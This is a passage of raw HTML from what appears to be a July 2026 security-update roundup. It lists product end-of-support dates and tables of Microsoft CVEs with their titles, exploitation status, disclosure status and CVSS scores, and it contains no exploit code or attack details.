href="https://learn.microsoft.com/en-us/lifecycle/products/project-server-2016"><span>2016</span></a><span> and </span><a href="https://learn.microsoft.com/en-us/lifecycle/products/project-server-2019"><span>2019</span></a><span>, Dynamics GP 2016 and 2016 R2, InfoPath 2013, and SharePoint Designer 2013, which also all reach their Extended End Dates, ending their supported lifecycles. </span><a href="https://learn.microsoft.com/en-us/lifecycle/products/visual-studio-2022"><span>Visual Studio 2022</span></a><span> Version 17.12 Long-Term Servicing Channel (LTSC) reaches its release end date on July 14, leaving either the Visual Studio 2022 current channel or an upgrade to </span><a href="https://learn.microsoft.com/en-us/lifecycle/products/visual-studio-2026"><span>Visual Studio 2026</span></a><span> as supported options.</span></p><h2>Summary charts</h2><figure><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt713c90fe7ac2ee36/6a56abaed651c58a33f6a35f/2026-07-vuln_count_impact.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="2026-07-vuln_count_impact.png" asset-alt="2026-07-vuln_count_impact.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt713c90fe7ac2ee36/6a56abaed651c58a33f6a35f/2026-07-vuln_count_impact.png" data-sys-asset-uid="blt713c90fe7ac2ee36" data-sys-asset-filename="2026-07-vuln_count_impact.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="2026-07-vuln_count_impact.png" sys-style-type="display"></figure><p></p><p></p><figure><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt7d9561caa572afc2/6a56abaeade6f578106e6309/2026-07-vuln_count_component.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="2026-07-vuln_count_component.png" asset-alt="2026-07-vuln_count_component.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt7d9561caa572afc2/6a56abaeade6f578106e6309/2026-07-vuln_count_component.png" data-sys-asset-uid="blt7d9561caa572afc2" data-sys-asset-filename="2026-07-vuln_count_component.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="2026-07-vuln_count_component.png" sys-style-type="display"></figure><p></p><figure><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt97027ef7516a12a3/6a56ad5a32a61e5978145861/2026-07-vuln_count_impact-component-heatmap.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="2026-07-vuln_count_impact-component-heatmap.png" asset-alt="2026-07-vuln_count_impact-component-heatmap.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt97027ef7516a12a3/6a56ad5a32a61e5978145861/2026-07-vuln_count_impact-component-heatmap.png" data-sys-asset-uid="blt97027ef7516a12a3" data-sys-asset-filename="2026-07-vuln_count_impact-component-heatmap.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="2026-07-vuln_count_impact-component-heatmap.png" sys-style-type="display"></figure><p></p><h2>Summary tables</h2><p></p><h3>Apps vulnerabilities</h3><table><thead><tr><th><p>CVE</p></th><th><p>Title</p></th><th><p>Exploitation status</p></th><th><p>Publicly disclosed?</p></th><th><p>CVSS v3 base score</p></th></tr></thead><tbody><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58617">CVE-2026-58617</a></td><td><p>M365 Copilot for iOS Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58595">CVE-2026-58595</a></td><td><p>Microsoft Bing App for IOS Spoofing Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-48561">CVE-2026-48561</a></td><td><p>Microsoft Copilot Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>9.6</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58636">CVE-2026-58636</a></td><td><p>Microsoft PC Manager Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50438">CVE-2026-50438</a></td><td><p>Microsoft PC Manager Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54124">CVE-2026-54124</a></td><td><p>Windows Terminal Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr></tbody></table><h3>Azure vulnerabilities</h3><table><thead><tr><th><p>CVE</p></th><th><p>Title</p></th><th><p>Exploitation status</p></th><th><p>Publicly disclosed?</p></th><th><p>CVSS v3 base score</p></th></tr></thead><tbody><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50652">CVE-2026-50652</a></td><td><p>Azure Active Directory Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50653">CVE-2026-50653</a></td><td><p>Azure Active Directory Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57969">CVE-2026-57969</a></td><td><p>Azure CycleCloud Elevation of Privilege Vulnerability</p></td><td><p>N/A</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58279">CVE-2026-58279</a></td><td><p>Azure CycleCloud Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-47632">CVE-2026-47632</a></td><td><p>Azure Monitor Agent Metrics Extension Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50338">CVE-2026-50338</a></td><td><p>Azure Spring Apps Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.2</p></td></tr></tbody></table><h3>Developer Tools vulnerabilities</h3><table><thead><tr><th><p>CVE</p></th><th><p>Title</p></th><th><p>Exploitation status</p></th><th><p>Publicly disclosed?</p></th><th><p>CVSS v3 base score</p></th></tr></thead><tbody><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-47302">CVE-2026-47302</a></td><td><p>.NET Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50525">CVE-2026-50525</a></td><td><p>.NET Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50651">CVE-2026-50651</a></td><td><p>.NET Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57108">CVE-2026-57108</a></td><td><p>.NET Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50524">CVE-2026-50524</a></td><td><p>.NET Framework Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50527">CVE-2026-50527</a></td><td><p>.NET Framework Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50648">CVE-2026-50648</a></td><td><p>.NET Framework Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50650">CVE-2026-50650</a></td><td><p>.NET Framework Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50646">CVE-2026-50646</a></td><td><p>.NET Framework Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50649">CVE-2026-50649</a></td><td><p>.NET Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-47304">CVE-2026-47304</a></td><td><p>.NET Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50528">CVE-2026-50528</a></td><td><p>.NET Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.2</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50659">CVE-2026-50659</a></td><td><p>.NET Spoofing Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50526">CVE-2026-50526</a></td><td><p>.NET Tampering Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56170">CVE-2026-56170</a></td><td><p>ASP.NET Core Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-47300">CVE-2026-47300</a></td><td><p>ASP.NET Core Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-47303">CVE-2026-47303</a></td><td><p>ASP.NET Core Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-47282">CVE-2026-47282</a></td><td><p>GitHub Copilot and Visual Studio Code Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-41109">CVE-2026-41109</a></td><td><p>GitHub Copilot and Visual Studio Code Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50506">CVE-2026-50506</a></td><td><p>OData for ASP.NET and ASP.NET Core Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45646">CVE-2026-45646</a></td><td><p>OData for ASP.NET and ASP.NET Core Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50520">CVE-2026-50520</a></td><td><p>Visual Studio Code Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.4</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-45496">CVE-2026-45496</a></td><td><p>Visual Studio Code Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57101">CVE-2026-57101</a></td><td><p>Visual Studio Code Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57102">CVE-2026-57102</a></td><td><p>Visual Studio Code Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-47305">CVE-2026-47305</a></td><td><p>Visual Studio Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr></tbody></table><h3>Device vulnerabilities</h3><table><thead><tr><th><p>CVE</p></th><th><p>Title</p></th><th><p>Exploitation status</p></th><th><p>Publicly disclosed?</p></th><th><p>CVSS v3 base score</p></th></tr></thead><tbody><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-48581">CVE-2026-48581</a></td><td><p>Surface Broker SDMA Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr></tbody></table><p></p><p></p><h3>ESU vulnerabilities</h3><table><thead><tr><th><p>CVE</p></th><th><p>Title</p></th><th><p>Exploitation status</p></th><th><p>Publicly disclosed?</p></th><th><p>CVSS v3 base score</p></th></tr></thead><tbody><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54121">CVE-2026-54121</a></td><td><p>Active Directory Certificate Services Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50682">CVE-2026-50682</a></td><td><p>Active Directory Denial of Service Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50647">CVE-2026-50647</a></td><td><p>Active Directory Federation Server Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50684">CVE-2026-50684</a></td><td><p>Active Directory Federation Server Spoofing Vulnerability</p></td><td><p>N/A</p></td><td><p>No</p></td><td><p>4.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56155">CVE-2026-56155</a></td><td><p>Active Directory Federation Services Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Detected</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50491">CVE-2026-50491</a></td><td><p>Code Integrity DLL (ci.dll) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50381">CVE-2026-50381</a></td><td><p>Composite Image File System driver (cimfs.sys) Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50427">CVE-2026-50427</a></td><td><p>Content Delivery Manager Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50692">CVE-2026-50692</a></td><td><p>Desktop Window Manager Elevation of Privilege Vulnerability</p></td><td><p>N/A</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-48564">CVE-2026-48564</a></td><td><p>DHCP Server Service Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50370">CVE-2026-50370</a></td><td><p>DHCP Server Service Remote Code Execution Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56159">CVE-2026-56159</a></td><td><p>DHCP Server Service Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50296">CVE-2026-50296</a></td><td><p>DirectX Graphics Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50375">CVE-2026-50375</a></td><td><p>DirectX Graphics Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>6.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50493">CVE-2026-50493</a></td><td><p>DirectX Graphics Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56643">CVE-2026-56643</a></td><td><p>DirectX Graphics Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56644">CVE-2026-56644</a></td><td><p>DirectX Graphics Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58629">CVE-2026-58629</a></td><td><p>DirectX Graphics Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50382">CVE-2026-50382</a></td><td><p>DirectX Graphics Kernel Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49174">CVE-2026-49174</a></td><td><p>DNS Client Tampering Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50495">CVE-2026-50495</a></td><td><p>DNS Client Tampering Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49787">CVE-2026-49787</a></td><td><p>HTTP.sys Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49788">CVE-2026-49788</a></td><td><p>HTTP/2 Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50696">CVE-2026-50696</a></td><td><p>Internet Key Exchange (IKE) Protocol Denial of Service Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50329">CVE-2026-50329</a></td><td><p>Microsoft DWM Core Library Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58541">CVE-2026-58541</a></td><td><p>Microsoft DWM Core Library Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55006">CVE-2026-55006</a></td><td><p>Microsoft Exchange Server Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55009">CVE-2026-55009</a></td><td><p>Microsoft Exchange Server Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55005">CVE-2026-55005</a></td><td><p>Microsoft Exchange Server Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55008">CVE-2026-55008</a></td><td><p>Microsoft Exchange Server Spoofing Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>9.6</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50343">CVE-2026-50343</a></td><td><p>Microsoft Install Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54992">CVE-2026-54992</a></td><td><p>Microsoft Message Queuing Queue Manager Remote Code Execution Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>8.4</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50439">CVE-2026-50439</a></td><td><p>Microsoft Message Queuing Queue Manager Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42900">CVE-2026-42900</a></td><td><p>Microsoft Windows App Store Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49784">CVE-2026-49784</a></td><td><p>Microsoft Windows App Store Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50356">CVE-2026-50356</a></td><td><p>Microsoft Windows App Store Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49165">CVE-2026-49165</a></td><td><p>Microsoft Windows App Store Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54993">CVE-2026-54993</a></td><td><p>Microsoft Windows Media Foundation Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58610">CVE-2026-58610</a></td><td><p>Microsoft Windows Media Foundation Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50655">CVE-2026-50655</a></td><td><p>Microsoft Windows Media Foundation Remote Code Execution Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56189">CVE-2026-56189</a></td><td><p>Microsoft Windows Media Foundation Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57090">CVE-2026-57090</a></td><td><p>Microsoft Windows Media Foundation Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57094">CVE-2026-57094</a></td><td><p>Microsoft Windows Media Foundation Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57087">CVE-2026-57087</a></td><td><p>Microsoft Windows Media Foundation Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57092">CVE-2026-57092</a></td><td><p>Microsoft Windows VMSwitch Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>9.9</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50359">CVE-2026-50359</a></td><td><p>Microsoft XML Core Services Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57097">CVE-2026-57097</a></td><td><p>Microsoft XML Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.4</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50346">CVE-2026-50346</a></td><td><p>Netlogon RPC Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50402">CVE-2026-50402</a></td><td><p>NTFS Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54989">CVE-2026-54989</a></td><td><p>Quality Windows Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50365">CVE-2026-50365</a></td><td><p>Remote Access Management service/API (RPC server) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50474">CVE-2026-50474</a></td><td><p>Remote Desktop Client Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58594">CVE-2026-58594</a></td><td><p>Remote Desktop Client Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56190">CVE-2026-56190</a></td><td><p>Remote Desktop Protocol Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49783">CVE-2026-49783</a></td><td><p>Secure Boot Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42990">CVE-2026-42990</a></td><td><p>SQL Server ODBC driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49168">CVE-2026-49168</a></td><td><p>Storage Spaces Direct Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.8</p></td></tr><tr><td><a 